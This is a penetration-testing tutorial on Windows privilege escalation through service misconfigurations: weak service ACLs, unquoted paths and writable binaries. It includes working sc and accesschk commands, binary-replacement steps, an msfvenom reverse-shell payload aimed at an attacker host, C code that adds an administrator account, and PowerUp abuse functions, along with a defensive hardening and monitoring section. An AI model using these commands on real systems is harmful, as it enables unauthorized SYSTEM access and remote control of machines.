Service Misconfigurations
Exploiting weak service permissions for SYSTEM access
What You'll Discover
🎯 Why This Matters
Windows services run with elevated privileges, often as LocalSystem. Misconfigurations in service permissions, paths, or binary locations create reliable privilege escalation paths. Service exploits are among the most common findings in real penetration tests.
🔍 What You'll Learn
- How to identify weak service permissions using accesschk and sc
- Exploiting unquoted service paths for DLL hijacking
- Replacing service binaries when directories are writable
- Modifying service configurations to execute arbitrary code
🚀 Your First Win
In the next 15 minutes, you'll understand three distinct service attack techniques and how to identify when each applies.
🔧 Try This Right Now
Search for unquoted service paths on your system:
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"
You'll see: Services with paths containing spaces but no quotes. These are potential unquoted service path vulnerabilities if you have write access to intermediate directories.
Skills You'll Master
✅ Core Understanding
- Windows service architecture
- Service access rights and permissions
- Path parsing in Windows
- Service startup contexts
🔍 Expert Skills
- SERVICE_CHANGE_CONFIG exploitation
- Binary replacement attacks
- Unquoted path exploitation
- Service recovery abuse
Understanding Service Misconfigurations
Windows services are background processes that start automatically or on demand. They typically run with high privileges - many as LocalSystem, the most powerful account on the machine. When service configurations are weak, you can abuse them to execute code with those elevated privileges.
Weak Service = Your Code Running as SYSTEM
Service Permission Types
Services have their own ACL with specific access rights. The dangerous ones are:
| Permission | Attack Vector |
|---|---|
| SERVICE_CHANGE_CONFIG | Modify binary path to your payload |
| SERVICE_ALL_ACCESS | Full control - do anything |
| GENERIC_WRITE | Includes SERVICE_CHANGE_CONFIG |
| SERVICE_START | Trigger service restart after modification |
Attack 1: Weak Service Permissions
When you have SERVICE_CHANGE_CONFIG rights, you can modify the service's binary path to point to your payload:
# Find services with weak permissions (using Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
# Check specific service permissions
sc qc VulnerableService
sc sdshow VulnerableService
# Modify binary path
sc config VulnerableService binpath= "C:\temp\shell.exe"
# Restart service (if you have SERVICE_START permission)
sc stop VulnerableService
sc start VulnerableService
# If you can't restart, wait for system reboot
Attack 2: Unquoted Service Paths
When a service path contains spaces and isn't quoted, Windows tries to find the executable by parsing the path left to right:
# Example vulnerable path:
C:\Program Files\Vulnerable App\service.exe
# Windows will try these in order:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe
# If you can write to C:\ or C:\Program Files\, you can create:
# C:\Program.exe (your malicious binary)
# Find unquoted paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"
# Check write permissions on intermediate directories
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"
# Create malicious executable named to be found first
copy shell.exe "C:\Program Files\Vulnerable.exe"
Attack 3: Writable Service Binary
If you can write to the directory containing the service executable, you can replace it entirely:
# Check if service binary directory is writable
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"
# Replace the binary
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"
# Restart service
sc stop VulnerableService
sc start VulnerableService
Tools and Techniques
Creating Service-Compatible Payloads
Services expect binaries that interact with the Service Control Manager. If your payload doesn't, the service will start and immediately stop - but your code still executes:
# Generate service-compatible payload with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe
# Or use a simple wrapper that adds a user
# This C code creates a service-compatible exe:
/*
#include <windows.h>
int main() {
system("net user hdna Password123! /add");
system("net localgroup administrators hdna /add");
return 0;
}
*/
# Compile with mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
PowerUp Exploitation
PowerUp provides functions to exploit each service misconfiguration:
# For weak service permissions
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'
# For unquoted paths
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'
# For writable binaries
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'
Accesschk from Sysinternals
Accesschk is the definitive tool for permission analysis:
# Check services accessible by Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Check specific service
accesschk.exe -ucqv VulnerableService /accepteula
# Check directory permissions
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula
# Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
Real-World Attack Scenarios
🔴 Scenario: Third-Party Software with Weak Service Permissions
A corporate workstation has legacy backup software installed. The vendor's installer created a service with weak ACLs, allowing "Authenticated Users" to modify its configuration. An attacker with any domain account can escalate to SYSTEM on any workstation with this software.
Impact: One weak service installer → SYSTEM access on hundreds of workstations
🟠 Scenario: Unquoted Path in Custom Application
A custom in-house application installs to "C:\Program Files\Company App\bin\service.exe" without quotes. An attacker who can write to "C:\Program Files\" creates "Company.exe" which executes as SYSTEM when the service restarts.
Note: This requires write access to an intermediate directory, which is rare on properly configured systems but common when administrators modify default permissions.
💡 Expert Insight
Service misconfigurations are often introduced by third-party software installers rather than Windows itself. When testing, pay special attention to non-Microsoft services. Vendors frequently prioritize functionality over security in their installation routines.
Defensive Countermeasures
Service Hardening
- Always use quoted paths for service executables
- Set restrictive service ACLs during installation
- Run services with minimum required privileges (not LocalSystem when possible)
- Use Group Managed Service Accounts (gMSA) for service accounts
Directory Protection
- Maintain default permissions on C:\ and Program Files
- Never grant Users or Authenticated Users write access to program directories
- Audit file system permissions regularly with accesschk
- Use application whitelisting to prevent unauthorized executables
Monitoring
- Monitor service configuration changes (Event ID 7040)
- Alert on new services being created
- Watch for accesschk.exe or sc.exe usage patterns
- Implement file integrity monitoring for service binaries
Frequently Asked Questions
My payload executes but the service immediately stops. What's wrong?
Services expect binaries that communicate with the Service Control Manager. Use msfvenom -f exe-service for a service-compatible payload, or accept that your code will run during the brief startup window before the service is killed.
I found an unquoted path but can't write to any intermediate directories. Is it still exploitable?
No. Unquoted paths require write access to an intermediate directory in the path. If all directories are properly protected, the misconfiguration exists but isn't exploitable. Still report it as a finding - permission changes could make it exploitable in the future.
Can I restart a service without administrative privileges?
Only if the service ACL grants you SERVICE_START and SERVICE_STOP. Check with accesschk -ucqv ServiceName. If you can't restart, wait for a system reboot or find another trigger (some services restart on crash).
🎯 Service Exploitation - Loaded!
You now know three powerful service attack techniques: weak permissions, unquoted paths, and binary replacement. These are among the most reliable privilege escalation vectors in real environments.
Ready to exploit registry-based attacks →